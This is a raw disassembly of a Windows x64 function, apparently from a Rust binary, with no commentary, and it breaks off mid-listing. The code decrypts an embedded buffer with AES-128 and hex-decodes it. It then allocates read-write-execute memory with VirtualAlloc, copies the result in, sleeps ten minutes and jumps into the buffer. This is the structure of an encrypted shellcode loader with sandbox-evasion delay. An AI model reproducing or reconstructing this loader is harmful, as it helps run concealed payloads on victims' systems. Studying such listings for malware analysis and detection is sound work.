mov rcx, qword [0x1400490f0]
test rcx, rcx
jne 0x14000281a
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14000282c
mov rcx, rax
mov qword [0x1400490f0], rax
xor edx, edx
mov r8, rbp
call sub.KERNEL32.dll_HeapAlloc
mov r14, rax
test rax, rax
jne 0x140002842
movzx ecx, bl
mov rdx, rbp
call dbg.handle_alloc_error
jmp 0x140003bf4
mov r14d, 1
mov qword [rsp + 0x58], rdi
mov rcx, r14
mov rdx, qword [rsp + 0x48]
mov r8, rbp
call sym.memcpy
lea rcx, [rsp + 0x330]
lea rdx, [rsp + 0xe40]
mov r8d, 0x2d0
call sym.memcpy
test bpl, 0xf
jne 0x140003492
mov r13, rbp
shr r13, 4
cmp rbp, 0x8f
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x30], r14
jbe 0x140002955
movups xmm0, xmmword [r14 + 0x70]
movaps xmmword [rsp + 0x680], xmm0
movups xmm0, xmmword [r14 + 0x60]
movaps xmmword [rsp + 0x670], xmm0
movups xmm0, xmmword [r14 + 0x50]
movaps xmmword [rsp + 0x660], xmm0
movups xmm0, xmmword [r14 + 0x40]
movaps xmmword [rsp + 0x650], xmm0
movups xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqu xmm2, xmmword [r14 + 0x20]
movdqu xmm3, xmmword [r14 + 0x30]
movdqa xmmword [rsp + 0x640], xmm3
movdqa xmmword [rsp + 0x630], xmm2
movdqa xmmword [rsp + 0x620], xmm1
movaps xmmword [rsp + 0x610], xmm0
lea rsi, [rsp + 0x5f0]
movzx eax, byte [0x14003c010]
cmp al, 1
jne 0x14000295d
movaps xmm0, xmmword [rsp + 0x5f0]
movaps xmmword [rsp + 0xa10], xmm0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x330]
lea r8, [rsp + 0xa10]
call sym.aes::ni::aes128::Aes128::encrypt::aesni128_encrypt1::h473819f1d78cc520
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x5f0], xmm0
jmp 0x1400029a5
mov r12, r14
jmp 0x140003144
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa40], xmm0
movaps xmmword [rsp + 0xa30], xmm0
movaps xmmword [rsp + 0xa20], xmm0
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0xa10], xmm0
lea rcx, [rsp + 0x330]
lea rdx, [rsp + 0xa10]
call sym.aes::soft::fixslice::aes128_encrypt::hbf024de8f6ac34ff
movdqa xmm0, xmmword [rsp + 0xa10]
movdqu xmmword [rsi], xmm0
lea rdi, [r14 + 0x10]
dec r13
lea rax, [rsp + 0x600]
cmp r14, rax
jae 0x140002a87
cmp rsi, rdi
jae 0x140002a87
movzx eax, byte [rsp + 0x5f0]
xor byte [r14], al
movzx eax, byte [rsp + 0x5f1]
xor byte [r14 + 1], al
movzx eax, byte [rsp + 0x5f2]
xor byte [r14 + 2], al
movzx eax, byte [rsp + 0x5f3]
xor byte [r14 + 3], al
movzx eax, byte [rsp + 0x5f4]
xor byte [r14 + 4], al
movzx eax, byte [rsp + 0x5f5]
xor byte [r14 + 5], al
movzx eax, byte [rsp + 0x5f6]
xor byte [r14 + 6], al
movzx eax, byte [rsp + 0x5f7]
xor byte [r14 + 7], al
movzx eax, byte [rsp + 0x5f8]
xor byte [r14 + 8], al
movzx eax, byte [rsp + 0x5f9]
xor byte [r14 + 9], al
movzx eax, byte [rsp + 0x5fa]
xor byte [r14 + 0xa], al
movzx eax, byte [rsp + 0x5fb]
xor byte [r14 + 0xb], al
movzx eax, byte [rsp + 0x5fc]
xor byte [r14 + 0xc], al
movzx eax, byte [rsp + 0x5fd]
xor byte [r14 + 0xd], al
movzx eax, byte [rsp + 0x5fe]
xor byte [r14 + 0xe], al
movzx eax, byte [rsp + 0x5ff]
xor byte [r14 + 0xf], al
jmp 0x140002a9e
mov rax, qword [rsp + 0x5f0]
xor qword [r14], rax
mov rax, qword [rsp + 0x5f8]
xor qword [r14 + 8], rax
mov rdx, r13
and rdx, 0xfffffffffffffff8
dec rdx
cmp rdx, r13
jae 0x140003a7f
shl rdx, 4
add rdx, rdi
lea rcx, [rsp + 0xa10]
call sym.generic_array::functional::FunctionalSequence::map::hfb8235b2255dddf0
movdqu xmm0, xmmword [rsp + 0xa10]
movdqu xmmword [rsi], xmm0
cmp r13, 0x10
jb 0x140002eaf
lea r12, [rsp + 0x650]
lea rbx, [rsp + 0x330]
lea rsi, [rsp + 0xa10]
lea r15, [rsp + 0x610]
mov rbp, qword [rsp + 0x30]
jmp 0x140002ba3
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x680], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x670], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x660], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x650], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqa xmm2, xmmword [rsp + 0x90]
movdqa xmm3, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x640], xmm3
movdqa xmmword [rsp + 0x630], xmm2
movdqa xmmword [rsp + 0x620], xmm1
movdqa xmmword [rsp + 0x610], xmm0
sub rbp, 0xffffffffffffff80
cmp r13, 0xf
jbe 0x140002eaf
movups xmm0, xmmword [rdi + 0xe0]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rdi + 0xd0]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rdi + 0xc0]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rdi + 0xb0]
movaps xmmword [rsp + 0xb0], xmm0
movdqu xmm0, xmmword [rdi + 0x70]
movdqu xmm1, xmmword [rdi + 0x80]
movdqu xmm2, xmmword [rdi + 0x90]
movdqu xmm3, xmmword [rdi + 0xa0]
movdqa xmmword [rsp + 0xa0], xmm3
movdqa xmmword [rsp + 0x90], xmm2
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
movzx eax, byte [0x14003c010]
cmp al, 1
jne 0x140002d50
movaps xmm0, xmmword [rsp + 0x610]
movaps xmm1, xmmword [rsp + 0x620]
movaps xmm2, xmmword [rsp + 0x630]
movaps xmm3, xmmword [rsp + 0x640]
movaps xmm4, xmmword [rsp + 0x650]
movaps xmm5, xmmword [rsp + 0x660]
movaps xmm6, xmmword [rsp + 0x670]
movaps xmm7, xmmword [rsp + 0x680]
movaps xmmword [rsp + 0xa10], xmm0
movaps xmmword [rsp + 0xa20], xmm1
movaps xmmword [rsp + 0xa30], xmm2
movaps xmmword [rsp + 0xa40], xmm3
movaps xmmword [rsp + 0xa50], xmm4
movaps xmmword [rsp + 0xa60], xmm5
movaps xmmword [rsp + 0xa70], xmm6
movaps xmmword [rsp + 0xa80], xmm7
mov rcx, rbx
mov rdx, rsi
call sym.aes::ni::aes128::Aes128::encrypt8::aesni128_encrypt8::h68cb847c845dcc38
movdqa xmm0, xmmword [rsp + 0xa10]
movdqa xmm1, xmmword [rsp + 0xa20]
movdqa xmm2, xmmword [rsp + 0xa30]
movdqa xmm3, xmmword [rsp + 0xa40]
movdqa xmm4, xmmword [rsp + 0xa50]
movapd xmm5, xmmword [rsp + 0xa60]
movdqa xmm6, xmmword [rsp + 0xa70]
movdqa xmm7, xmmword [rsp + 0xa80]
movdqa xmmword [rsp + 0x610], xmm0
movdqa xmmword [rsp + 0x620], xmm1
movdqa xmmword [rsp + 0x630], xmm2
movdqa xmmword [rsp + 0x640], xmm3
movdqa xmmword [rsp + 0x650], xmm4
movapd xmmword [rsp + 0x660], xmm5
movdqa xmmword [rsp + 0x670], xmm6
movdqa xmmword [rsp + 0x680], xmm7
jmp 0x140002d66
mov rcx, rbx
mov rdx, r15
call sym.aes::soft::fixslice::aes128_encrypt::hbf024de8f6ac34ff
mov rcx, rbx
mov rdx, r12
call sym.aes::soft::fixslice::aes128_encrypt::hbf024de8f6ac34ff
sub rdi, 0xffffffffffffff80
add r13, 0xfffffffffffffff8
xor eax, eax
jmp 0x140002daa
mov rcx, qword [rsp + rax + 0x610]
xor qword [rbp + rax + 0x10], rcx
mov rcx, qword [rsp + rax + 0x618]
xor qword [rbp + rax + 0x18], rcx
add rax, 0x10
cmp rax, 0x80
je 0x140002b10
lea rcx, [rax + rbp]
add rcx, 0x10
lea rdx, [rsp + rax]
add rdx, 0x620
cmp rcx, rdx
jae 0x140002d80
lea rcx, [rsp + rax]
add rcx, 0x610
lea rdx, [rax + rbp]
add rdx, 0x20
cmp rcx, rdx
jae 0x140002d80
movzx ecx, byte [rsp + rax + 0x610]
xor byte [rbp + rax + 0x10], cl
movzx ecx, byte [rsp + rax + 0x611]
xor byte [rbp + rax + 0x11], cl
movzx ecx, byte [rsp + rax + 0x612]
xor byte [rbp + rax + 0x12], cl
movzx ecx, byte [rsp + rax + 0x613]
xor byte [rbp + rax + 0x13], cl
movzx ecx, byte [rsp + rax + 0x614]
xor byte [rbp + rax + 0x14], cl
movzx ecx, byte [rsp + rax + 0x615]
xor byte [rbp + rax + 0x15], cl
movzx ecx, byte [rsp + rax + 0x616]
xor byte [rbp + rax + 0x16], cl
movzx ecx, byte [rsp + rax + 0x617]
xor byte [rbp + rax + 0x17], cl
movzx ecx, byte [rsp + rax + 0x618]
xor byte [rbp + rax + 0x18], cl
movzx ecx, byte [rsp + rax + 0x619]
xor byte [rbp + rax + 0x19], cl
movzx ecx, byte [rsp + rax + 0x61a]
xor byte [rbp + rax + 0x1a], cl
movzx ecx, byte [rsp + rax + 0x61b]
xor byte [rbp + rax + 0x1b], cl
movzx ecx, byte [rsp + rax + 0x61c]
xor byte [rbp + rax + 0x1c], cl
movzx ecx, byte [rsp + rax + 0x61d]
xor byte [rbp + rax + 0x1d], cl
movzx ecx, byte [rsp + rax + 0x61e]
xor byte [rbp + rax + 0x1e], cl
movzx ecx, byte [rsp + rax + 0x61f]
xor byte [rbp + rax + 0x1f], cl
add rax, 0x10
cmp rax, 0x80
jne 0x140002daa
jmp 0x140002b10
movzx eax, byte [0x14003c010]
cmp al, 1
jne 0x140002fe5
movaps xmm0, xmmword [rsp + 0x610]
movaps xmm1, xmmword [rsp + 0x620]
movaps xmm2, xmmword [rsp + 0x630]
movaps xmm3, xmmword [rsp + 0x640]
movaps xmm4, xmmword [rsp + 0x650]
movaps xmm5, xmmword [rsp + 0x660]
movaps xmm6, xmmword [rsp + 0x670]
movaps xmm7, xmmword [rsp + 0x680]
movaps xmmword [rsp + 0xa10], xmm0
movaps xmmword [rsp + 0xa20], xmm1
movaps xmmword [rsp + 0xa30], xmm2
movaps xmmword [rsp + 0xa40], xmm3
movaps xmmword [rsp + 0xa50], xmm4
movaps xmmword [rsp + 0xa60], xmm5
movaps xmmword [rsp + 0xa70], xmm6
movaps xmmword [rsp + 0xa80], xmm7
lea rcx, [rsp + 0x330]
lea rdx, [rsp + 0xa10]
call sym.aes::ni::aes128::Aes128::encrypt8::aesni128_encrypt8::h68cb847c845dcc38
movdqa xmm0, xmmword [rsp + 0xa10]
movdqa xmm1, xmmword [rsp + 0xa20]
movdqa xmm2, xmmword [rsp + 0xa30]
movdqa xmm3, xmmword [rsp + 0xa40]
movdqa xmm4, xmmword [rsp + 0xa50]
movapd xmm5, xmmword [rsp + 0xa60]
movdqa xmm6, xmmword [rsp + 0xa70]
movdqa xmm7, xmmword [rsp + 0xa80]
movdqa xmmword [rsp + 0x610], xmm0
movdqa xmmword [rsp + 0x620], xmm1
movdqa xmmword [rsp + 0x630], xmm2
movdqa xmmword [rsp + 0x640], xmm3
movdqa xmmword [rsp + 0x650], xmm4
movapd xmmword [rsp + 0x660], xmm5
movdqa xmmword [rsp + 0x670], xmm6
movdqa xmmword [rsp + 0x680], xmm7
jmp 0x140003010
lea rsi, [rsp + 0x650]
lea rbx, [rsp + 0x330]
lea rdx, [rsp + 0x610]
mov rcx, rbx
call sym.aes::soft::fixslice::aes128_encrypt::hbf024de8f6ac34ff
mov rcx, rbx
mov rdx, rsi
call sym.aes::soft::fixslice::aes128_encrypt::hbf024de8f6ac34ff
lea r12, [rdi + 0x80]
add r13, 0xfffffffffffffff8
xor eax, eax
jmp 0x140003049
mov rcx, qword [rsp + rax + 0x610]
xor qword [rdi + rax], rcx
mov rcx, qword [rsp + rax + 0x618]
xor qword [rdi + rax + 8], rcx
add rax, 0x10
cmp rax, 0x80
je 0x140003144
lea rcx, [rdi + rax]
lea rdx, [rsp + rax]
add rdx, 0x620
cmp rcx, rdx
jae 0x140003020
lea rcx, [rsp + rax]
add rcx, 0x610
lea rdx, [rdi + rax]
add rdx, 0x10
cmp rcx, rdx
jae 0x140003020
movzx ecx, byte [rsp + rax + 0x610]
xor byte [rdi + rax], cl
movzx ecx, byte [rsp + rax + 0x611]
xor byte [rdi + rax + 1], cl
movzx ecx, byte [rsp + rax + 0x612]
xor byte [rdi + rax + 2], cl
movzx ecx, byte [rsp + rax + 0x613]
xor byte [rdi + rax + 3], cl
movzx ecx, byte [rsp + rax + 0x614]
xor byte [rdi + rax + 4], cl
movzx ecx, byte [rsp + rax + 0x615]
xor byte [rdi + rax + 5], cl
movzx ecx, byte [rsp + rax + 0x616]
xor byte [rdi + rax + 6], cl
movzx ecx, byte [rsp + rax + 0x617]
xor byte [rdi + rax + 7], cl
movzx ecx, byte [rsp + rax + 0x618]
xor byte [rdi + rax + 8], cl
movzx ecx, byte [rsp + rax + 0x619]
xor byte [rdi + rax + 9], cl
movzx ecx, byte [rsp + rax + 0x61a]
xor byte [rdi + rax + 0xa], cl
movzx ecx, byte [rsp + rax + 0x61b]
xor byte [rdi + rax + 0xb], cl
movzx ecx, byte [rsp + rax + 0x61c]
xor byte [rdi + rax + 0xc], cl
movzx ecx, byte [rsp + rax + 0x61d]
xor byte [rdi + rax + 0xd], cl
movzx ecx, byte [rsp + rax + 0x61e]
xor byte [rdi + rax + 0xe], cl
movzx ecx, byte [rsp + rax + 0x61f]
xor byte [rdi + rax + 0xf], cl
add rax, 0x10
cmp rax, 0x80
jne 0x140003049
test r13, r13
je 0x140003434
lea rdi, [rsp + 0x5f0]
lea rbp, [rsp + 0xa20]
lea r14, [rsp + 0x600]
shl r13, 4
lea rsi, [rsp + 0x70]
lea rbx, [rsp + 0x330]
lea r15, [rsp + 0xa10]
pxor xmm6, xmm6
jmp 0x1400031d5
mov rcx, qword [r12]
mov rdx, qword [rsp + 0x5f0]
xor rdx, rcx
mov qword [r12], rdx
mov qword [rsp + 0x5f0], rcx
mov rcx, qword [r12 + 8]
mov rdx, qword [rsp + 0x5f8]
xor rdx, rcx
mov qword [r12 + 8], rdx
mov qword [rsp + 0x5f8], rcx
mov r12, rax
add r13, 0xfffffffffffffff0
je 0x140003434
movzx eax, byte [0x14003c010]
cmp al, 1
jne 0x140003220
movaps xmm0, xmmword [rsp + 0x5f0]
movaps xmmword [rsp + 0xa10], xmm0
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call sym.aes::ni::aes128::Aes128::encrypt::aesni128_encrypt1::h473819f1d78cc520
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x5f0], xmm0
lea rax, [r12 + 0x10]
cmp r12, r14
jb 0x140003260
jmp 0x140003190
movdqu xmmword [rbp + 0x20], xmm6
movdqu xmmword [rbp + 0x10], xmm6
movdqu xmmword [rbp], xmm6
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0xa10], xmm0
mov rcx, rbx
mov rdx, r15
call sym.aes::soft::fixslice::aes128_encrypt::hbf024de8f6ac34ff
movdqa xmm0, xmmword [rsp + 0xa10]
movdqu xmmword [rdi], xmm0
lea rax, [r12 + 0x10]
cmp r12, r14
jae 0x140003190
cmp rdi, rax
jae 0x140003190
movzx ecx, byte [r12]
movzx edx, byte [rsp + 0x5f0]
xor dl, cl
mov byte [r12], dl
mov byte [rsp + 0x5f0], cl
movzx ecx, byte [r12 + 1]
movzx edx, byte [rsp + 0x5f1]
xor dl, cl
mov byte [r12 + 1], dl
mov byte [rsp + 0x5f1], cl
movzx ecx, byte [r12 + 2]
movzx edx, byte [rsp + 0x5f2]
xor dl, cl
mov byte [r12 + 2], dl
mov byte [rsp + 0x5f2], cl
movzx ecx, byte [r12 + 3]
movzx edx, byte [rsp + 0x5f3]
xor dl, cl
mov byte [r12 + 3], dl
mov byte [rsp + 0x5f3], cl
movzx ecx, byte [r12 + 4]
movzx edx, byte [rsp + 0x5f4]
xor dl, cl
mov byte [r12 + 4], dl
mov byte [rsp + 0x5f4], cl
movzx ecx, byte [r12 + 5]
movzx edx, byte [rsp + 0x5f5]
xor dl, cl
mov byte [r12 + 5], dl
mov byte [rsp + 0x5f5], cl
movzx ecx, byte [r12 + 6]
movzx edx, byte [rsp + 0x5f6]
xor dl, cl
mov byte [r12 + 6], dl
mov byte [rsp + 0x5f6], cl
movzx ecx, byte [r12 + 7]
movzx edx, byte [rsp + 0x5f7]
xor dl, cl
mov byte [r12 + 7], dl
mov byte [rsp + 0x5f7], cl
movzx ecx, byte [r12 + 8]
movzx edx, byte [rsp + 0x5f8]
xor dl, cl
mov byte [r12 + 8], dl
mov byte [rsp + 0x5f8], cl
movzx ecx, byte [r12 + 9]
movzx edx, byte [rsp + 0x5f9]
xor dl, cl
mov byte [r12 + 9], dl
mov byte [rsp + 0x5f9], cl
movzx ecx, byte [r12 + 0xa]
movzx edx, byte [rsp + 0x5fa]
xor dl, cl
mov byte [r12 + 0xa], dl
mov byte [rsp + 0x5fa], cl
movzx ecx, byte [r12 + 0xb]
movzx edx, byte [rsp + 0x5fb]
xor dl, cl
mov byte [r12 + 0xb], dl
mov byte [rsp + 0x5fb], cl
movzx ecx, byte [r12 + 0xc]
movzx edx, byte [rsp + 0x5fc]
xor dl, cl
mov byte [r12 + 0xc], dl
mov byte [rsp + 0x5fc], cl
movzx ecx, byte [r12 + 0xd]
movzx edx, byte [rsp + 0x5fd]
xor dl, cl
mov byte [r12 + 0xd], dl
mov byte [rsp + 0x5fd], cl
movzx ecx, byte [r12 + 0xe]
movzx edx, byte [rsp + 0x5fe]
xor dl, cl
mov byte [r12 + 0xe], dl
mov byte [rsp + 0x5fe], cl
movzx ecx, byte [r12 + 0xf]
movzx edx, byte [rsp + 0x5ff]
xor dl, cl
mov byte [r12 + 0xf], dl
mov byte [rsp + 0x5ff], cl
mov r12, rax
add r13, 0xfffffffffffffff0
jne 0x1400031d5
mov rbp, qword [rsp + 0x50]
test rbp, rbp
mov r14, qword [rsp + 0x30]
je 0x140003492
movzx eax, byte [r14 + rbp - 1]
test rax, rax
je 0x140003492
mov r8, rbp
sub r8, rax
jb 0x140003492
lea rdx, [rbp - 1]
cmp r8, rdx
ja 0x140003b8c
lea rdi, [r14 + r8]
lea rcx, [r14 + rbp]
mov rdx, rax
neg rdx
nop word cs:[rax + rax]
cmp rdx, 0xffffffffffffffff
je 0x1400034c3
lea r9, [rdx + 1]
cmp byte [rcx + rdx], al
mov rdx, r9
je 0x140003480
lea rax, [0x14003f378]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, dbg.drop_in_place____
lea r8, [rsp + 0xa10]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140003bf4
mov qword [rsp + 0x330], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x338], xmm0
add r8, r8
je 0x1400034f0
lea rcx, [rsp + 0x330]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h3566ac0022799ae8
mov esi, 0x110000
lea r15, str.0123456789abcdeflibrarycore_srcescape.rs
lea r13, [rsp + 0x330]
lea r12, [rsp + 0xa10]
mov rbp, qword [rsp + 0x30]
cmp esi, 0x110000
je 0x14000359e
jmp 0x14000354c
mov rcx, qword [rsp + 0x330]
add rcx, rbx
mov rdx, r12
mov r8, rsi
call sym.memcpy
add rbx, rsi
mov qword [rsp + 0x340], rbx
mov esi, r14d
cmp esi, 0x110000
je 0x14000359e
mov r14d, 0x110000
cmp esi, 0x80
jae 0x1400035c8
mov rdx, qword [rsp + 0x340]
cmp rdx, qword [rsp + 0x338]
jne 0x14000357c
mov rcx, r13
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h10e787dedd94e810
mov rdx, qword [rsp + 0x340]
mov rax, qword [rsp + 0x330]
mov byte [rax + rdx], sil
inc rdx
mov qword [rsp + 0x340], rdx
mov esi, r14d
cmp esi, 0x110000
jne 0x14000354c
cmp rbp, rdi
je 0x1400036c8
movzx eax, byte [rbp]
inc rbp
mov ecx, eax
and ecx, 0xf
shr eax, 4
movzx esi, byte [rax + r15]
movzx r14d, byte [rcx + r15]
cmp esi, 0x80
jb 0x14000355a
mov dword [rsp + 0xa10], 0
mov eax, esi
cmp esi, 0x800
jae 0x140003610
shr eax, 6
or al, 0xc0
mov byte [rsp + 0xa10], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0xa11], sil
mov esi, 2
jmp 0x140003691
cmp esi, 0x10000
jae 0x140003650
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0xa10], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xa11], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0xa12], sil
mov esi, 3
jmp 0x140003691
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0xa10], al
mov eax, esi
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xa11], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xa12], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0xa13], sil
mov esi, 4
mov rax, qword [rsp + 0x338]
mov rbx, qword [rsp + 0x340]
sub rax, rbx
cmp rax, rsi
jae 0x140003520
mov rcx, r13
mov rdx, rbx
mov r8, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h3566ac0022799ae8
mov rbx, qword [rsp + 0x340]
jmp 0x140003520
mov r12, qword [rsp + 0x330]
mov r13, qword [rsp + 0x338]
mov rsi, qword [rsp + 0x340]
mov rcx, qword [0x1400490f0]
xor edx, edx
mov r8, qword [rsp + 0x30]
call fcn.140039b44
cmp qword [rsp + 0x60], 0
je 0x14000370e
mov rcx, qword [0x1400490f0]
xor edx, edx
mov r8, qword [rsp + 0x38]
call fcn.140039b44
cmp qword [rsp + 0x68], 0
mov rdi, qword [rsp + 0x58]
je 0x14000372e
mov rcx, qword [0x1400490f0]
xor edx, edx
mov r8, qword [rsp + 0x48]
call fcn.140039b44
mov rcx, qword [0x1400490f0]
xor r15d, r15d
xor edx, edx
mov r8, rdi
call fcn.140039b44
mov rcx, qword [0x1400490f0]
xor edx, edx
mov r8, qword [rsp + 0x40]
call fcn.140039b44
test sil, 1
jne 0x1400037c6
mov dword [rsp + 0x70], 3
mov qword [rsp + 0xe40], r12
mov qword [rsp + 0xe48], rsi
mov qword [rsp + 0xe50], 2
mov qword [rsp + 0xe58], 0
lea rdx, [rsp + 0x70]
mov qword [rsp + 0xe60], rdx
lea rcx, [rsp + 0xe40]
call sym._ZN102__LT_core..iter..adapters..map..Map_LT_I_C_F_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_8try_fold17h1b85cc
test al, 1
jne 0x1400038ad
cmp dword [rsp + 0x70], 3
jne 0x140003a34
mov edi, 1
xor ebx, ebx
xor esi, esi
jmp 0x140003a62
mov ebx, 1
xor edi, edi
test r13, r13
je 0x1400037e3
mov rcx, qword [0x1400490f0]
xor edx, edx
mov r8, r12
call fcn.140039b44
or r15, rbx
test rdi, rdi
je 0x140003ba0
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov rbx, rax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x14000382b
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.msvcrt.dll_memmove
mov ecx, 0x927c0
call sub.KERNEL32.dll_Sleep
call rbx
test r15, r15
je 0x140003841
mov rcx, qword [0x1400490f0]
xor edx, edx
mov r8, rdi
call fcn.140039b44
movaps xmm6, xmmword [rsp + 0x1110]
movaps xmm7, xmmword [rsp + 0x1120]
movaps xmm8, xmmword [rsp + 0x1130]
movaps xmm9, xmmword [rsp + 0x1140]
movaps xmm10, xmmword [rsp + 0x1150]
movaps xmm11, xmmword [rsp + 0x1160]
movaps xmm12, xmmword [rsp + 0x1170]
movaps xmm13, xmmword [rsp + 0x1180]
movaps xmm14, xmmword [rsp + 0x1190]
movaps xmm15, xmmword [rsp + 0x11a0]
add rsp, 0x11b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ebx, edx
mov rax, qword [rsp + 0xe60]
cmp dword [rax], 3
jne 0x1400038d6
cmp qword [rsp + 0xe48], 0
je 0x1400038d6
cmp qword [rsp + 0xe50], 0
je 0x140003a96
movzx eax, byte [0x140049040]
mov rcx, qword [0x1400490f0]
test rcx, rcx
jne 0x140003901
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140003be5
mov rcx, rax
mov qword [0x1400490f0], rax
mov r8d, 8
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x140003be5
mov rdi, rax
mov byte [rax], bl
mov qword [rsp + 0xa10], rax
mov qword [rsp + 0xa18], 8
mov qword [rsp + 0xa20], 1
mov rax, qword [rsp + 0xe60]
mov qword [rsp + 0x350], rax
movdqu xmm0, xmmword [rsp + 0xe40]
movdqu xmm1, xmmword [rsp + 0xe50]
movdqa xmmword [rsp + 0x340], xmm1
movdqa xmmword [rsp + 0x330], xmm0
mov esi, 1
lea rbx, [rsp + 0x330]
lea r15, [rsp + 0xa10]
jmp 0x1400039b8
mov r8d, 1
mov rcx, r15
mov rdx, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h3566ac0022799ae8
mov rdi, qword [rsp + 0xa10]
mov byte [rdi + rsi], bpl
inc rsi
mov qword [rsp + 0xa20], rsi
mov rdx, qword [rsp + 0x350]
mov rcx, rbx
call sym._ZN102__LT_core..iter..adapters..map..Map_LT_I_C_F_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_8try_fold17h1b85cc
test al, 1
je 0x140003a18
mov ebp, edx
cmp rsi, qword [rsp + 0xa18]
jne 0x1400039a9
mov rax, qword [rsp + 0x350]
cmp dword [rax], 3
jne 0x140003990
cmp qword [rsp + 0x338], 0
je 0x140003990
cmp qword [rsp + 0x340], 0
jne 0x140003990
lea rcx, str.attempt_to_divide_by_zero_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_sliceiter.rs
lea r8, [0x14003f518]
mov edx, 0x19
call dbg.panic
jmp 0x140003bf4
mov rdi, qword [rsp + 0xa10]
mov rax, qword [rsp + 0xa18]
cmp dword [rsp + 0x70], 3
jne 0x140003a40
mov rbx, rax
jmp 0x140003a62
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
jmp 0x140003a60
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
test rax, rax
je 0x140003a60
mov rcx, qword [0x1400490f0]
xor edx, edx
mov r8, rdi
call fcn.140039b44
xor edi, edi
movabs r15, 0xffffffff00000000
and r15, rbx
mov ebx, ebx
test r13, r13
jne 0x1400037d2
jmp 0x1400037e3
lea r8, [0x14003f400]
mov rcx, rdx
mov rdx, r13
call dbg.panic_bounds_check
jmp 0x140003bf4
lea rcx, str.attempt_to_divide_by_zero_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_sliceiter.rs
lea r8, [0x14003f518]
mov edx, 0x19
call dbg.panic
jmp 0x140003bf4
mov ecx, 1
mov edx, 0x760
call dbg.handle_alloc_error
ud2
mov ecx, 1
mov edx, 0x20
call dbg.handle_alloc_error
jmp 0x140003bf4
movupd xmm0, xmmword [rsp + 0x338]
movapd xmmword [rsp + 0xe40], xmm0
lea rax, [0x14003f330]
mov qword [rsp + 0x20], rax
lea rcx, str.Decoding_failed
lea r9, dbg.drop_in_place_mut_std::io::Write::write_fmt::Adapter_alloc::vec::Vec_u8__alloc::alloc::Global___
lea r8, [rsp + 0xe40]
mov edx, 0xf
call dbg.unwrap_failed
jmp 0x140003bf4
movupd xmm0, xmmword [rsp + 0x338]
movapd xmmword [rsp + 0xe40], xmm0
lea rax, [0x14003f348]
mov qword [rsp + 0x20], rax
lea rcx, str.Decoding_failed
lea r9, dbg.drop_in_place_mut_std::io::Write::write_fmt::Adapter_alloc::vec::Vec_u8__alloc::alloc::Global___
lea r8, [rsp + 0xe40]
mov edx, 0xf
call dbg.unwrap_failed
jmp 0x140003bf4
lea rax, [0x14003f360]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, dbg.drop_in_place____
lea r8, [rsp + 0xa10]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140003bf4
lea rax, [0x14003f618]
mov rcx, r8
mov r8, rax
call dbg.slice_index_order_fail
jmp 0x140003bf4
mov qword [rsp + 0x330], r15
mov qword [rsp + 0x338], rsi
lea rax, [0x14003f308]
mov qword [rsp + 0x20], rax
lea rcx, [0x14003f2f8]
lea r9, dbg.drop_in_place_mut_std::io::Write::write_fmt::Adapter_alloc::vec::Vec_u8__alloc::alloc::Global___
lea r8, [rsp + 0x330]
mov edx, 3
call dbg.unwrap_failed
ud2
call dbg.capacity_overflow
jmp 0x140003bf4
mov ecx, 1
mov edx, 8
